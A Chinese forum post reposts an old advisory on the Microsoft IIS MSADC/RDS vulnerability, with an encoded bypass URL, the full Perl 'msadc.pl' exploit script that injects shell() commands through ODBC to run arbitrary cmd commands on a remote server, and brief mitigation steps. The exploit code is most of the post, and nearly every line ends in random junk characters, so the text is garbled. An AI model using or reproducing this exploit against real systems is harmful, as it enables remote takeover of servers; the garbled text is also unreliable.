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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) =-VV`  
pWx3l5)R  
涉及程序: I(<G;ft<}  
Microsoft NT server u3. PHZ  
>rFvT>@NU  
描述: GC\/B0!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /3TorB~Y  
I@S<D"af  
详细: xRY5[=97  
如果你没有时间读详细内容的话,就删除: \QMSka>  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?@#}%<yEq  
有关的安全问题就没有了。 Ys_YjlMIbl  
Y+jKP*ri  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3QHZC0AY  
Q~@8t"P  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?0(B;[xEJ  
关于利用ODBC远程漏洞的描述,请参看: O^xt  
nDOIE)#  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm oPbD9  
rOD KM-7+  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 \fKE~61  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3 #wj-  
; p_X7N  
这里不再论述。 !xc7~D@om(  
y^A $bTQq  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: QLUe{@ivc  
$($SQZK&  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 6'%]6"&M4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! e"CLhaT  
+-nQ, fOV  
,pASjFWi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" piG1&*  
h[8y$.YsC  
#!perl #CS>A# Lk  
# lX4p'R-h  
# MSADC/RDS 'usage' (aka exploit) script 2bJFlxEU  
# c'B"Onu@m*  
# by rain.forest.puppy "n6Y^  
# l =yHx\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 9A_7:V]_  
# beta test and find errors! /)I9+s#q9o  
vvM)Rb,  
use Socket; use Getopt::Std; 709eLhXrH  
getopts("e:vd:h:XR", \%args); =e;wEf%`  
~/U0S.C  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; %yMzgk[u  
H+;wnI>@  
if (!defined $args{h} && !defined $args{R}) { YzZF^q^I  
print qq~ .HBvs=i  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (6BCFl:/Q<  
-h <host> = host you want to scan (ip or domain) *e6|SZ &3  
-d <seconds> = delay between calls, default 1 second 1pb;A;F,A  
-X = dump Index Server path table, if available x]ti3?w  
-v = verbose 6b/b} vl  
-e = external dictionary file for step 5 ':V_V. :  
wF uh6!J  
Or a -R will resume a command session ~{+{pcO}  
h2%:;phH  
~; exit;} >.iw8#l  
/=@vG Vp6  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; %&Cl@6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} QVW6SY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} jEsTw_  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); MQ*#oVqv  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} D H !Br  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } S |x)7NC  
0'hxw3#  
if (!defined $args{R}){ $ret = &has_msadc; \Wc/kY3&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} >y9o&D  
\`zG`f  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" w4'K2 7  
. "cmd /c "; qYiAwK$  
$in=<STDIN>; chomp $in; r(i)9RI+(  
$command="cmd /c " . $in ; 5G!U'.gr  
f4S@lyYF  
if (defined $args{R}) {&load; exit;} {{3H\ rR  
S7a6ntei  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; C):d9OI?  
&try_btcustmr; y^=oYL  
*?D2gaCta  
print "\nStep 2: Trying to make our own DSN..."; 3~</lAm;  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; %5*#c*)R  
> bF!Y]H  
print "\nStep 3: Trying known DSNs..."; <S$21NtM87  
&known_dsn; i8Y gG0[)  
wWw/1i:|'  
print "\nStep 4: Trying known .mdbs..."; k_n{Mss'9  
&known_mdb; n ;5?^Un%  
txo?k/w  
if (defined $args{e}){ vB5iG|b}  
print "\nStep 5: Trying dictionary of DSN names..."; +&,\ J9'B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } PAwg&._K  
[T]qm7 ?  
print "Sorry Charley...maybe next time?\n"; O{#Cddt:r  
exit;  #U52\3G  
X-$td~r  
############################################################################## )6E*Qz  
A9UaLSe  
sub sendraw { # ripped and modded from whisker !>y}Xq{bm3  
sleep($delay); # it's a DoS on the server! At least on mine... +)JqEwCrq  
my ($pstr)=@_; |u;BAb  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || / JeqoM"x  
die("Socket problems\n"); W<91m*  
if(connect(S,pack "SnA4x8",2,80,$target)){ &PuJV +y  
select(S); $|=1; 3cO[t\/up  
print $pstr; my @in=<S>; +g6j =%  
select(STDOUT); close(S); )ek 5  
return @in; aRKRy  
} else { die("Can't connect...\n"); }} o:D BOpS  
}8M`2HMFR  
############################################################################## kQd[E-b7  
S1juAV=  
sub make_header { # make the HTTP request 0 a6@HwO  
my $msadc=<<EOT ""'eTpe  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2{kfbm-89t  
User-Agent: ACTIVEDATA UT<b v}(J  
Host: $ip Qz)8eIO:  
Content-Length: $clen 0D3+R1>_D  
Connection: Keep-Alive [y[v]'  
bNjaCK<  
ADCClientVersion:01.06 @\`G & VB  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Ym{%"EB  
sq(Ar(L<  
--!ADM!ROX!YOUR!WORLD! X,EYa>RSy_  
Content-Type: application/x-varg 5rA!VES T  
Content-Length: $reqlen g~hk-nXL.  
9=~H6(m>  
EOT l[ ": tG  
; $msadc=~s/\n/\r\n/g; VgsCwJ9w  
return $msadc;} 0rJ\e  
ICCCCG*[  
############################################################################## [{p?BTs  
Be>c)90bO_  
sub make_req { # make the RDS request Na 9l#  
my ($switch, $p1, $p2)=@_; k3/JQ]'D  
my $req=""; my $t1, $t2, $query, $dsn; zHoO?tGf  
z?uQlm*We  
if ($switch==1){ # this is the btcustmr.mdb query 2}`Vc{\  
$query="Select * from Customers where City=" . make_shell(); e|5B1rMM  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . },EUcVXk  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} :KV,:13`D  
h/0-Mrk;e  
elsif ($switch==2){ # this is general make table query XJlDiBs9=Q  
$query="create table AZZ (B int, C varchar(10))"; K~y9zF{  
$dsn="$p1";} t:"=]zUU  
`k{ff  
elsif ($switch==3){ # this is general exploit table query gc2|V6(  
$query="select * from AZZ where C=" . make_shell(); 0]eh>ab>  
$dsn="$p1";} Z!RRe]"y  
ghobu}wuF  
elsif ($switch==4){ # attempt to hork file info from index server )' x/q  
$query="select path from scope()"; IJ_ 'w[k  
$dsn="Provider=MSIDXS;";} Pvg  
Ro'4/{}+  
elsif ($switch==5){ # bad query ^I'Lw  
$query="select"; !w#ru?L{  
$dsn="$p1";} ;sck+FP7w  
d%_78nOh"  
$t1= make_unicode($query); Qk~0a?#y5  
$t2= make_unicode($dsn); $-fjrQ  
$req = "\x02\x00\x03\x00"; 0 bPJEEd  
$req.= "\x08\x00" . pack ("S1", length($t1)); k$0|^GL8  
$req.= "\x00\x00" . $t1 ; i_9Cc$Qh<  
$req.= "\x08\x00" . pack ("S1", length($t2)); 9B#)h)h(=  
$req.= "\x00\x00" . $t2 ; CdzkMVH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +1+A3  
return $req;} =2g[tsY  
=JbdsYI(  
############################################################################## Ic{'H2~4,  
B=q)}aWc  
sub make_shell { # this makes the shell() statement 71 L\t3fG  
return "'|shell(\"$command\")|'";} ."F'5eTT~  
>d27[%  
############################################################################## _!C)r*0(  
vA2,&%jw  
sub make_unicode { # quick little function to convert to unicode xu"94y+  
my ($in)=@_; my $out; 0XR;5kd%  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } W p7@  
return $out;} P$(WdVG  
D,GPn%Wqi  
############################################################################## <r7qq$  
e"o6C\c  
sub rdo_success { # checks for RDO return success (this is kludge) M\y~0uZ  
my (@in) = @_; my $base=content_start(@in); HoIKx_  
if($in[$base]=~/multipart\/mixed/){ s;-78ejj7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +YQ~t,/  
return 0;} FU]8.)`G  
hk7(2j7B  
############################################################################## liugaRO8J  
oieQ2>lYh  
sub make_dsn { # this makes a DSN for us ~.4W,QLuD  
my @drives=("c","d","e","f"); u"#6_-0y  
print "\nMaking DSN: "; o&hKg#nO83  
foreach $drive (@drives) { '.%iPMM  
print "$drive: "; $/<"Si&(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . i)@U.-*5m  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" <@U.   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \N`fWh8&  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; MAwC\7n+X  
return 0 if $2 eq "404"; # not found/doesn't exist RWh9&O:6'  
if($2 eq "200") { !!-}ttFA  
foreach $line (@results) { h7de9Rt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} nCffBc  
} return 0;}  e8XM=$@  
y(/jTS/ hd  
############################################################################## Xc8= 2n  
JK(`6qB>(6  
sub verify_exists { up+.@h{  
my ($page)=@_; ?dJ/)3I%F  
my @results=sendraw("GET $page HTTP/1.0\n\n"); &prdlh=UE  
return $results[0];} V 5e\%  
teq^xTUF[  
############################################################################## #51 4a(6  
<K DH  
sub try_btcustmr { |n|U;|'^  
my @drives=("c","d","e","f"); -!'Oy%a#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V_+}^  
F.~n  
foreach $dir (@dirs) { )){PBT}t]  
print "$dir -> "; # fun status so you can see progress &jXca|wAR  
foreach $drive (@drives) { 629~Uc6]  
print "$drive: "; # ditto bk\dy7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]^yV`Z8  
$reqlenlen=length( "$reqlen" ); GZ/pz+)i&  
$clen= 206 + $reqlenlen + $reqlen; y+ 6`| h_  
_XH4;uGg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); eD*?q7  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} _" ?c9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} };|!Lhl+  
*<`7|BH3  
############################################################################## TRs[~K)n  
LPq*ZZK  
sub odbc_error { ?r -\%_J_(  
my (@in)=@_; my $base; N5q}::Odc  
my $base = content_start(@in); u"`5  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {\vI9cni|"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'h!h!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ULp)T`P  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9]]!8_0=r  
return $in[$base+4].$in[$base+5].$in[$base+6];} 7af?E)}v  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Y=P9:unG  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Mv/IMO0rR  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} GN:Ru|n  
s jL*I  
############################################################################## 763E 6,7  
NqiB8hZ~  
sub verbose { JwN}Jm  
my ($in)=@_; #d }0}7ue  
return if !$verbose; 4o1Q7  
print STDOUT "\n$in\n";} :0 W6uFNOU  
tx^92R2/  
############################################################################## +Od1)_'\D3  
*A~($ZtL  
sub save { ;jRL3gAe)  
my ($p1, $p2, $p3, $p4)=@_; [n!$D(|"!V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {c v;w  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6V'wQqJ  
close OUT;} QRsqPh&-  
;Ri 3#*a=  
############################################################################## ~v.jZ/h  
~mN g[]  
sub load { ?ada>"~GR_  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; @+}rEe_(  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); JfI aOhKs]  
@p=<IN>; close(IN); .o-0aBG  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); qg^(w fI  
$target= inet_aton($ip) || die("inet_aton problems"); gbYLA a  
print "Resuming to $ip ..."; > ]>0KQfO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J}x>~?W  
if($p[1]==1) { 4^ c!_K&&  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; x1|Da$2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [Xxw]C6\>(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ^7i^ \w0  
if (rdo_success(@results)){print "Success!\n";} $cRcap  
else { print "failed\n"; verbose(odbc_error(@results));}} [Z#+gh  
elsif ($p[1]==3){ Of1IdE6~  
if(run_query("$p[3]")){ pBlRd{#fL  
print "Success!\n";} else { print "failed\n"; }} (3e;"'k  
elsif ($p[1]==4){ WuBmdjZ  
if(run_query($drvst . "$p[3]")){ * <B)Z  
print "Success!\n"; } else { print "failed\n"; }} yr FZ~r@-  
exit;} *D\0.K,o  
p G)9=X!9  
############################################################################## whV&qe;sw  
gsW=3m&`  
sub create_table { Z 6 tE{/  
my ($in)=@_; ?RZq =5Um&  
$reqlen=length( make_req(2,$in,"") ) - 28; k%{ l4  
$reqlenlen=length( "$reqlen" ); /6Y0q9  
$clen= 206 + $reqlenlen + $reqlen; o)0C-yO0qf  
my @results=sendraw(make_header() . make_req(2,$in,"")); 77+| #< J  
return 1 if rdo_success(@results); /uK)rG F  
my $temp= odbc_error(@results); verbose($temp); Bs_S.JP<`  
return 1 if $temp=~/Table 'AZZ' already exists/; KjO-0VMN3  
return 0;} gsnP!2cR  
=hJfL}&O3  
############################################################################## +2- qlU  
6kP7   
sub known_dsn { &foD&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go MinbE13?U  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", IeO-O'^&`  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =Nw2;TkB[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9 TqoLX  
uZ@-e|qto  
foreach $dSn (@dsns) { aL88E  
print "."; `Ac:f5a  
next if (!is_access("DSN=$dSn")); +T-@5 v[  
if(create_table("DSN=$dSn")){ YKc>6)j  
print "$dSn successful\n"; R78!x*U}  
if(run_query("DSN=$dSn")){ 3 t/ R2M  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6hp{,8|D"m  
print "Something's borked. Use verbose next time\n";}}} print "\n";} I|H,)!Z  
D0f*eSXE{  
############################################################################## Y [4vRzc  
4S'[\ZJO  
sub is_access { E3y6c)<  
my ($in)=@_; U?^OD  
$reqlen=length( make_req(5,$in,"") ) - 28; lco~X DI  
$reqlenlen=length( "$reqlen" ); -&@]M>r@  
$clen= 206 + $reqlenlen + $reqlen; IDj_l+?c  
my @results=sendraw(make_header() . make_req(5,$in,"")); p`\3if'  
my $temp= odbc_error(@results); cvhlRI%6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _8al  
return 0;} +-U@0&Y3M  
w- r_H!-  
############################################################################## K*[9j 0  
BlL|s=dlQV  
sub run_query { w2k<)3 g~  
my ($in)=@_; -<xyC8 $^$  
$reqlen=length( make_req(3,$in,"") ) - 28; :MK=h;5Z  
$reqlenlen=length( "$reqlen" ); B#1:Y;Z  
$clen= 206 + $reqlenlen + $reqlen; "<qEXX  
my @results=sendraw(make_header() . make_req(3,$in,"")); Z*h43  
return 1 if rdo_success(@results); vuXS/ d  
my $temp= odbc_error(@results); verbose($temp); HF]EU!OT  
return 0;} p7s@%scp  
>o#ERNf  
############################################################################## h(_P9E[g  
\WcB9  
sub known_mdb { [ne" T  
my @drives=("c","d","e","f","g"); +)zDA:2Wa"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); I|Z/`9T  
my $dir, $drive, $mdb; Np$z%ewK.  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^,+nef?=  
6nc0=~='$  
# this is sparse, because I don't know of many FW_G\W.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", z9 O~W5-U  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  O)OUy  
"\\system32\\certmdb.mdb", 21 ViHV  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7 %3<~'v[  
R0vww_fz  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 3&$Nd  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #VO.%H}i  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Ey'J]KVW  
"\\cfusion\\cfapps\\security\\realm_.mdb", Vd21,~^>g  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sllzno2bU  
"\\cfusion\\database\\cfexamples.mdb", `%oIRuYG]j  
"\\cfusion\\database\\cfsnippets.mdb", 8-ZUS|7B  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", @^'$r&M  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", wDMjk2 YN  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Ssw&'B|o  
"\\cfusion\\database\\smpolicy.mdb",  +tIz[+u  
"\\cfusion\\database\cypress.mdb", *o!l/>4g  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @7fm1b  
"\\website\\cgi-win\\dbsample.mdb", :\ mRtVH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", +ZclGchw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" "?P[9x}  
); #these are just t-!m vx9Z  
foreach $drive (@drives) { pr$~8e=c  
foreach $dir (@dirs){ D;jK/2  
foreach $mdb (@sysmdbs) { #MglHQO+  
print "."; U-eI\Lu  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 3?@?-q2g  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; y+A{Y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ tfA}`*$s  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; %kq ^]S2O  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yc[(lq.^n  
p0Gk j-  
foreach $drive (@drives) { +RS$5NLH  
foreach $mdb (@mdbs) { 5KJ%]B(H2  
print "."; e=7W 7^"_  
if(create_table($drv . $drive . $dir . $mdb)){  &+G; R  
print "\n" . $drive . $dir . $mdb . " successful\n"; R]Ek}1~?  
if(run_query($drv . $drive . $dir . $mdb)){ IM=+3W;ak  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; a8zZgIV  
} else { print "Something's borked. Use verbose next time\n"; }}}} nkRK +~>  
} E?cZ bn*>`  
lVoik *,B  
############################################################################## ETO$9}x[  
@(>XOj?+  
sub hork_idx { [zQ WyDu  
print "\nAttempting to dump Index Server tables...\n"; DT\ym9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; LWD#a~  
$reqlen=length( make_req(4,"","") ) - 28; m6i%DE  
$reqlenlen=length( "$reqlen" ); J(e7{aRJ9  
$clen= 206 + $reqlenlen + $reqlen; iDw.i"b  
my @results=sendraw2(make_header() . make_req(4,"","")); &\^rQi/tf  
if (rdo_success(@results)){ i4<BDX5  
my $max=@results; my $c; my %d; *T1~)z}j<  
for($c=19; $c<$max; $c++){ y(}Eko4u5  
$results[$c]=~s/\x00//g; Pw{"_g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; krjN7&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; @1g&Z}L o  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; SO3cY#i z"  
$d{"$1$2"}="";} + xp*]a  
foreach $c (keys %d){ print "$c\n"; } 0% +'  
} else {print "Index server doesn't seem to be installed.\n"; }} 8_a3'o%5  
`%=<R-/#7S  
############################################################################## iP#=:HZu;  
Za%LAyT_s  
sub dsn_dict { 6,+nRiZ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); B |&F%P0:  
while(<IN>){ a$$ Wt<&Y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; QPs:RhV7  
next if (!is_access("DSN=$dSn")); #wjH4DT  
if(create_table("DSN=$dSn")){ u-szt ?O|  
print "$dSn successful\n"; =cn~BnowY  
if(run_query("DSN=$dSn")){ ?Ht=[l=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )Gb,^NGr  
print "Something's borked. Use verbose next time\n";}}} 7@l<? (  
print "\n"; close(IN);} OH6n^WKY  
.6m_>Y6  
############################################################################## f{ ^:3"i  
 iSiDSeW8  
sub sendraw2 { # ripped and modded from whisker rwgsXS8W6  
sleep($delay); # it's a DoS on the server! At least on mine... CGZ^hoh/  
my ($pstr)=@_; "!KpXBc,>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 56{I`QjX  
die("Socket problems\n"); 3m=2x5 {L  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~O03Sit-  
print "Connected. Getting data"; 6Dst;:  
open(OUT,">raw.out"); my @in; r~>,$[|n})  
select(S); $|=1; print $pstr; 'N6 S}w7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} $r79n-  
close(OUT); select(STDOUT); close(S); return @in; K5`Rk" s  
} else { die("Can't connect...\n"); }} Js{= i>D  
HnU Et/  
############################################################################## ,@.EpbB  
VLdB_r3lQ  
sub content_start { # this will take in the server headers BJ5}GX!  
my (@in)=@_; my $c; Im)EDTm$  
for ($c=1;$c<500;$c++) { Uc&iZFid2K  
if($in[$c] =~/^\x0d\x0a/){ C-w5KW  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } mQr0sI,o]  
else { return $c+1; }}} 8\# ^k#X  
return -1;} # it should never get here actually >emcJVYV`[  
*||d\peQ  
############################################################################## g_z/{1$  
;`UecLb#  
sub funky { Yb:pAzw6  
my (@in)=@_; my $error=odbc_error(@in); :(p )1=I  
if($error=~/ADO could not find the specified provider/){ r}W2Ak\  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; z<&m*0WYA  
exit;} Lh ap4:  
if($error=~/A Handler is required/){ /!T> b:0  
print "\nServer has custom handler filters (they most likely are patched)\n"; R#eg^7HfX  
exit;} F,T~\gO5,  
if($error=~/specified Handler has denied Access/){ 1*UN sEr  
print "\nServer has custom handler filters (they most likely are patched)\n"; [BDGR B7d"  
exit;}} M_|> kp  
!w2gGy:I>  
############################################################################## f/y`  
DWm SC}{.  
sub has_msadc { n:4uA`Vg  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Z cpmquf8L  
my $base=content_start(@results); /3B6 Mtb  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 1%`7.;!i  
return 0;} BX< dSK  
Vmi{X b]<  
######################## ~uj;qq  
ln<]-)&C  
8C7Z{@A&#  
解决方案: Qh`:<KI  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll LFu%v7L`  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \Fb| {6+  
R_kQPP  
拿出来充数 哈哈
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